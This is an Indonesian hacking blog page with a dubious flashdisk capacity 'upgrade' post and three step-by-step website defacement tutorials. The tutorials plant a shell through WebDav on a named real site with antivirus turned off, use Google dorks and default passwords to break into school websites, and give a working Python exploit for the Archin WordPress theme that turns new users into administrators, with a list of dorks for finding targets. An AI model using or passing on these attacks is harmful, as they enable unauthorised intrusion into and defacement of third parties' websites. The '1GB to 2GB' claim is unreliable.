Tampilkan postingan dengan label TIPS AND TRICK. Tampilkan semua postingan
Tampilkan postingan dengan label TIPS AND TRICK. Tampilkan semua postingan

Selasa, 01 Oktober 2013

Upgrade Flashdisk 1GB Menjadi 2GB







Gw Dah Kabar Baik Nihh Om FlashDisk Gw Pertama 1GB Jadi 2GB Kok Bisa Ya??Wkwkwk Nih Gw Kasih Tutorial Cara Upgrade Flashdisk 1GB To 2 GB Langsung Saja

1).Download Om Toolsnya Di Sini

2).Masukin Om Flashdisknya Gk Bisa Masukin Inbox Ane Wkwkwk

3).Buka Toolsnya Lalu Klik Fix

4).Cabut DDan Colokin Lagi Flashdisknya

5).Teteretetet Jadi 2GB Kan



Cara Deface Mudah Dengan (WebDav)



Cara Deface Website Dengan Webdav Shell Maker | Hmei7


Ok deh langsung saja ke inti postingan kali ini, o'ya! disini saya hanya memberikan tutorial untuk pembelajaran. Bukan sok2'an jadi heker, cracker, ceker atau apalah, saya hanya ingin berbagi karena Berbagi Itu Indah 

Dengan menggunakan sebuah tools hacking buatan Hmei7 kita dapat dengan mudah menanam shell ke dalam sebuah website, dan dengan begitu kita dapat melakukan apa saja terhadap web yang kita tanami shell tersebut.

WebDav Shell Maker : Download Disini
Password : garudacyberattacker

1). Download kemudian extract file
2). Buka tools webdav yang sudah di download tadi, klik menu tab 'WebDav' lalu pilih 'Asp shell maker'.




3).Selanjutnya, pilih Add site, disini saya menggunakan target http://www.beijinggym.com/ lalu klik OK.



4)Jika Sudah Klik Serang :v



5).Jika Succes Akan Keluar Seperti Dan Buka Link Tersebut





6).Lalu Cari File Index.php/Index.html Tekan CTRL+F Biar Lebih Gampang




7).Lalu Masukin Dehh Script DefaceNya Dan Klik Kaydet



8). Buka Defacan Ente Dengan Cara :
http://Target Kamu.com/index.php

NB: Matikan AntiVirus Sebelum Mengguakan WebDav Karena Anti Virus Anggap WebDav Sebagai Virus 



Cara Deface Website sch.id




Tutorial Deface Website .sch.id




Deface adalah hal yang sudah biasa dilakukan mungkin, dan mungkin tutorial deface yang satu ini tidak layak tapi tidak ada salahnya untuk Berbagi Ilmu .. Dan kita bisa mendeface index websitenya secara langsung ..

Tutorial Deface Index Website .sch.id : 

1. Pergi ke google.co.id, Tuliskan dorknya :

inurl:sch.id" intext:"tim balitbang" intext:"sdn"

Tutorial Deface Index Website .sch.id

2. Pilih salah satu website
3. Setelah mendapatkan websitenya, gunakan exploit :  /member/index.php 

Tutorial Deface Index Website .sch.id

4. Silahkan coba login dengan user dan password defaultnya :

User :    | Password :

Admin : 123456
Kickdody : 123456
Siswanto : 123456
Alumni : 123456
Alan : 123456
Tomi : 123456

5.  Nah kalau tidak bisa login, silahkan cari website lain.. intinya jangan menyerah mereka yang berhasil adalah mereka yang terus mencoba Dan Di Dunia Hacking Tdk Ada Yg Instan..

6. Nah jika sudah berhasil silahkan dieksekusi deh tuh website.. Jika ingin menanamkan shell  tinggal ke sim > data laporan > tambah laporan dan web tersebut sukses terdefaced

NB: Tdk Semua Web Bisa Di Deface Bro Jadi Harap Sabar Dan Teliti


Senin, 23 September 2013

Cara Deface Dengan Archin WordPress









YeyeyeLalaalaala Wkwkwk Hey Ketemu Saya Lagi Broo Nihh Ane Mau Nunjukin Deface Dengan Teknik Archin Oke Langsung Saja Om Ke TKP

BAHAN:
-Kopi
-Camilan 
-python (Gk Punya Python Download Di Google Om )

Gw Anggap Lo Sudh Punya Python Langsung Saja Install python

# Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
# Date: Sept 29, 2012
# Exploit Author: bwall (@bwallHatesTwits)
# Vendor Homepage: http://themeforest.net/user/wptitans
# Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
# Version: 3.2
# Tested on: Ubuntu
import httplib, urllib

#target site
site = "Targetnya Broo"
#path to ajax.php
url = "/wp-content/themes/GantiDengantema/hades_framework/option_panel/ajax.php"

def ChangeOption(site, url, option_name, option_value):
    params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(site)
    conn.request("POST", url, params, headers)
    response = conn.getresponse()
    print response.status, response.reason
    data = response.read()
    print data
    conn.close()
   
ChangeOption(site, url, "admin_email", "emailmu")
ChangeOption(site, url, "users_can_register", "1")
ChangeOption(site, url, "default_role", "administrator")
print "Now register a new user, they are an administrator by default!"

save filenya dengan berekstensi .py Inget .py Jgn Yg Laen Wkwkwk
lalu cari target website dengan mengunakan dork berikut :

DORK:
/wp-content/themes/*/hades_framework/ 
 /wp-content/themes/felici/hades_framework/ 
 /wp-content/themes/averin/hades_framework/ 
 /wp-content/themes/shotzz/hades_framework/
 /wp-content/themes/KLR/hades_framework/
 /wp-content/themes/yvora/hades_framework/
 /wp-content/themes/ratius/hades_framework/
 /wp-content/themes/dagda/hades_framework/ 
 /wp-content/themes/shopsum/hades_framework/
 /wp-content/themes/ultrici/hades_framework/
 /wp-content/themes/bizniz/hades_framework/
 /wp-content/themes/appius/hades_framework/ 
 /wp-content/themes/majestics/hades_framework/
 /wp-content/themes/candy/hades_framework/
 /wp-content/themes/vithy/hades_framework/ 
 /wp-content/themes/sodales/hades_framework/

Cari Targetnya Broo Dengan Dork Di Atas



Lalu Coba Buka Misalnya Saya Tadi Pakek Dork /wp-content/themes/yvora/hades_framework/
Berarti Ntar Cek Sitenya Vuln Atau Tdk Dengan Cara http://site/wp-content/themes/yvora/hades_framework/option_panel/ajax.php/
Jika Target Tersebut Blnk/Kosong Berarti Web Berikut Vuln

Setelah Itu Buka Start ~> run ~> cmd
ketik "D:" (karena script yg diatas saya letakkan di local disk D)
ketik lagi "filenya.py" dan pencet enter. sehingga menjadi seperti ini :



Jika Sudah Seperti Itu Tandanya Berhasil Tinggal Register Dehh
http:/site.com/wp-login.php



Jika Sudah Registrasi Password Akan Terkirim Ke Email Tadi Cek Email Kamu Broo



Kalo Sudah Terserah Dehh Lo Apain Webnya Tapi Jgn Tebas Index.phpnya Index.phpnya Rename Aja Ganti Dengn Index.html Hargai Karya Orang

NB : Kami Tidak Bertanggung Jawab Atas Segala Hall Yang Anda Lalukan!!

Content By : Imron X-GEN

Postingan Lama Beranda